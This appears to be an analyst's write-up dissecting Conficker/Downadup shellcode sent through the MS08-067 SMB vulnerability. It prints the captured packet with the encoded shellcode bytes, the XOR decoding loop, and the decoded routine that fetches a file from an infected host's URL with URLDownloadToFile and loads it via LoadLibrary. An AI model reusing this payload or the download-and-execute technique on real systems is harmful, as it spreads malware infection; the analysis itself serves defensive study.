Shellcode is fun to analyze and it is interesting to see what attackers throw into the mix to make finding the payload harder. Recently I was taking a look at the conficker/downadup shellcode that is used in conjunction with the MS08-067 vulnerability. First we start with the packet data
17:18:12.869891 IP (tos 0x0, ttl 128, id 164, offset 0, flags [DF], proto: TCP (
6), length: 832) 192.168.248.128.1048 > 192.168.248.1.445: P, cksum 0x41fa (corr
ect), 1136:1928(792) ack 927 win 63314
0x0000: 4500 0340 00a4 4000 8006 8540 c0a8 f880 E..@..@....@....
0x0010: c0a8 f801 0418 01bd 836c c50d d4ef d3fb .........l......
0x0020: 5018 f752 41fa 0000 0000 0314 ff53 4d42 P..RA........SMB
0x0030: 2500 0000 0018 07c8 0000 0000 0000 0000 %...............
0x0040: 0000 0000 0008 4004 0008 8000 1000 00c0 ......@.........
0x0050: 0200 0000 0400 0000 0000 0000 0000 0000 ................
0x0060: 0054 00c0 0254 0002 0026 0000 40d1 0200 .T...T...&..@...
0x0070: 5c00 5000 4900 5000 4500 5c00 0000 0000 \.P.I.P.E.\.....
0x0080: 0500 0003 1000 0000 c002 0000 0100 0000 ................
0x0090: a802 0000 0000 1f00 2c15 ce00 0600 0000 ........,.......
0x00a0: 0000 0000 0600 0000 4800 4800 4400 4800 ........H.H.D.H.
0x00b0: 4800 0000 3101 0000 0000 0000 3101 0000 H...1.......1...
0x00c0: 5c00 7074 7a55 6751 515a 624b 7854 6374 \.ptzUgQQZbKxTct
0x00d0: 474d 5046 426f 6e4c 4655 7271 4343 6d44 GMPFBonLFUrqCCmD
0x00e0: 624a 544b 4e79 6749 4770 4e45 5246 7756 bJTKNygIGpNERFwV
0x00f0: 5878 416a 4266 6242 5554 716a 5143 4e74 XxAjBfbBUTqjQCNt
0x0100: 5a65 4f73 4b79 5847 7a58 7448 6641 7276 ZeOsKyXGzXtHfArv
0x0110: 4572 615a 786b 627a 5868 5974 4459 7245 EraZxkbzXhYtDYrE
0x0120: 7961 6e48 676d e8ff ffff ffc1 5e8d 4e10 yanHgm......^.N. <-Shellcode Start
0x0130: 8031 c441 6681 3945 5075 f5ae c69d a04f .1.Af.9EPu.....O
0x0140: 85ea 4f84 c84f 84d8 4fc4 4f9c cc49 7258 ..O..O..O.O..IrX
0x0150: c4c4 c42c edc4 c4c4 9426 3c4f 3892 3bd3 ...,.....&
0x0160: 5747 02c3 2cdc c4c4 c4f7 1696 964f 08a2 WG..,........O..
0x0170: 03c5 bcea 953b b3c0 9696 9592 963b f33b .....;.......;.;
0x0180: 2469 9592 514f 8ff8 4f88 cfbc c70f f732 $i..QO..O......2
0x0190: 49d0 77c7 95e4 4fd6 c717 f704 0504 c3f6 I.w...O.........
0x01a0: c686 44fe c4b1 31ff 01b0 c282 ffb5 dcb6 ..D...1.........
0x01b0: 1b4f 95e0 c717 cb73 d0b6 4f85 d8c7 074f .O.....s..O....O
0x01c0: c054 c707 9a9d 07a4 664e b2e2 4468 0cb1 .T......fN..Dh..
0x01d0: b6a8 a9ab aac4 5de7 991d acb0 b0b4 feeb ......].........
0x01e0: ebf5 fdf6 eaf5 f2fc eaf6 f0fc eaf5 f6fc ................
0x01f0: fefc f5f5 fdeb a6a1 a7a1 b6c4 4550 7257 ............EPrW
0x0200: 786f 5741 7659 4161 6e78 7650 7842 666e xoWAvYAanxvPxBfn
0x0210: 5541 4d57 7267 4e6a 7077 6650 6f48 587a UAMWrgNjpwfPoHXz
0x0220: 6567 6868 7854 6949 4564 774a 5369 764f eghhxTiIEdwJSivO
0x0230: 6352 505a 4d75 7946 7771 6245 694b 777a cRPZMuyFwqbEiKwz
0x0240: 5972 4768 7046 6d4e 6a6d 5371 4264 4c57 YrGhpFmNjmSqBdLW
0x0250: 6e4d 4b64 6544 434d 696e 4c6c 4e79 7342 nMKdeDCMinLlNysB
0x0260: 456b 6272 6c6b 7163 437a 5854 6e55 4f5a EkbrlkqcCzXTnUOZ
0x0270: 4256 4c69 5547 686b 6166 6242 5961 554b BVLiUGhkafbBYaUK
0x0280: 506e 4165 6849 5749 4e61 4f75 6f77 7947 PnAehIWINaOuowyG
0x0290: 7857 6f63 436d 714b 5651 426a 636d 586d xWocCmqKVQBjcmXm
0x02a0: 5453 5063 546c 4242 4d4a 654e 7058 5757 TSPcTlBBMJeNpXWW
0x02b0: 617a 5257 6772 5c00 2e00 2e00 5c00 2e00 azRWgr\.....\...
0x02c0: 2e00 5c00 4100 5400 4f00 5a00 4d00 5500 ..\.A.T.O.Z.M.U.
0x02d0: 4500 0804 0200 e216 896f 454f 575a 27f7 E........oEOWZ'.
0x02e0: 886f 4958 484a 524f 5843 5842 5957 5a58 .oIXHJROXCXBYWZX
0x02f0: 4f4e 4c4b 524f 5046 4746 424c 5256 5143 ONLKROPFGFBLRVQC
0x0300: 5752 4f51 554a 544e 4659 474a 924a 24b6 WROQUJTNFYGJ.J$.
0x0310: 9703 f537 eb62 5159 5743 5357 4a42 4b50 ...7.bQYWCSWJBKP
0x0320: 0000 7700 1f03 0000 0200 0000 0000 0000 ..w.............
0x0330: 0200 0000 5c00 0000 0101 0000 0000 0000 ....\...........
This is the server service packet with the path that contains the overflow and shellcode:
Finding the beginning of the shellcode can at times be a bit tricky. We know it is in here, but there is no clear beginning. The first thing I look for is a 0xEB followed by a small value i.e. a short “Jump” instruction. Here, there is no clear sign, and tracing all instances of 0xEB in IDA Pro does not yield any valid code. The thing that caught my eye was in the middle at offset 0x0134 a 0xE8 0xFF etc… This looks like a “Call” instruction to a previous address. We’ll start here.
Attempting to disassemble at 0x0134 yeilds:
seg000:00000134 loc_134: ; CODE XREF: seg000:loc_134p
seg000:00000134 call near ptr loc_134+4
seg000:00000139 rcr dword ptr [esi-73h], 4Eh
seg000:0000013D adc [eax+6641C431h], al
seg000:00000143 cmp dword ptr [ecx], 0F5755045h
seg000:00000149 scasb
seg000:0000014A mov byte ptr [ebp-157AB060h], 4Fh ; 'O'
seg000:00000151 test cl, al
seg000:00000153 dec edi
seg000:00000154 test bl, al
seg000:00000156 dec edi
seg000:00000157 les ecx, [edi-64h]
seg000:0000015A int 3 ; Trap to Debugger
seg000:0000015B dec ecx
seg000:0000015C jb short loc_1B6
The first call is a call to an address in itself? This is strange?
call near ptr loc_134+4
This calls 0x0138, and the next instruction is at 0x139? Let’s right click and undefined and start at 0x138:
seg000:00000138 inc ecx
seg000:0000013A pop esi
seg000:0000013B lea ecx, [esi+10h]
seg000:0000013E
seg000:0000013E loc_13E: ; CODE XREF: seg000:00000147j
seg000:0000013E xor byte ptr [ecx], 0C4h
seg000:00000141 inc ecx
seg000:00000142 cmp word ptr [ecx], 5045h
seg000:00000147 jnz short loc_13E
seg000:00000149 scasb
seg000:0000014A mov byte ptr [ebp-157AB060h], 4Fh ; 'O'
seg000:00000151 test cl, al
seg000:00000153 dec edi
seg000:00000154 test bl, al
seg000:00000156 dec edi
seg000:00000157 les ecx, [edi-64h]
seg000:0000015A int 3 ; Trap to Debugger
This is a bit better, so the call into itself at 0x138 executes an “inc ecx” which is inconsequential. The current address on the stack is popped into ESI and the address + 0x10 is loaded into ECX and passed to an XOR loop starting at 0x13E. (Highlighted) This routine will XOR each byte starting at 0x149 until a (0x45 0x50) is located, then the loop will exit. Let’s see what happens when the rest of this code is XOR’d:
seg000:0000013E loc_13E: ; CODE XREF: seg000:00000147j
seg000:0000013E xor byte ptr [ecx], 0C4h
seg000:00000141 inc ecx
seg000:00000142 cmp word ptr [ecx], 5045h
seg000:00000147 jnz short loc_13E
seg000:00000149 push 2
seg000:0000014B pop ecx
seg000:0000014C mov eax, fs:[ecx+2Eh] ; fs:[30]
seg000:00000150 mov eax, [eax+0Ch]
seg000:00000153 mov eax, [eax+1Ch]
seg000:00000156 mov eax, [eax]
seg000:00000158 mov ebx, [eax+8]
seg000:0000015B lea esi, [esi+9Ch] ; 1d5
The new code, looks much cleaner now, and it is clear that it is now looking up the base address of kernel32.dll in the PEB at 0x14C {fs:[30]}.
If we look further down where the match for the 0x45 0x50 stopped the XOR loop we see the name of a module to be loaded, a URL and several chunks of data that are hashes used to look up API calls.
Commented disassembly:
seg000:000001D5 dd 768AA260h ; ExitThread
seg000:000001D9 dd 0C8AC8026h ; LoadLibrary
seg000:000001DD aUrlmon db 'urlmon'
seg000:000001E3 db 0
seg000:000001E4 dd 0D95D2399h ; URLDownloadToFileA
seg000:000001E8 aHttp192_168_24 db 'http://{infectedIP}:8119/becer'
seg000:00000209 db 0
seg000:0000020A db 45h
seg000:0000020B db 50h ; P <-End of XOR loop
Once these hashes are matched to the exported API calls in kernel32 and urlmon, the shellcode then passes the deofuscated URL to URLDownloadToFile() via a jump.
seg000:00000172 call HashLookup
seg000:00000177 xor edx, edx
seg000:00000179 push edx ; 0
seg000:0000017A push edx
seg000:0000017B mov ecx, esp
seg000:0000017D mov word ptr [ecx], '.x'
seg000:00000182 push ecx ; "x." for LoadLibrary
seg000:00000183 push dword ptr [edi+4]
seg000:00000186 push edx ; lpfnCB = 0
seg000:00000187 push edx ; dwReserved = 0
seg000:00000188 push ecx ; szFileName = "x."
seg000:00000189 push esi ; szURL 1e8
seg000:0000018A push edx ; pCaller = 0
seg000:0000018B push dword ptr [edi] ; Return Address LoadLibrary
seg000:0000018D jmp eax ; URLDownloadToFile
-- = URLDownloadToFile instructions
-- = LoadLibrary instructions
The interesting thing here is that before the jump to “URLDownloadToFile” the return address for LoadLibrary is pushed to the stack. This means that after the file “becer” is downloaded from the infected machine and copied into the file “x.” it will return to LoadLibrary which will load the file “x.” into the exploited process thus infecting the system.
All in all this is a simple example of how shellcode gets its job done. This instance was interesting in that it has a few tricks and interesting turns that an analyst can learn from.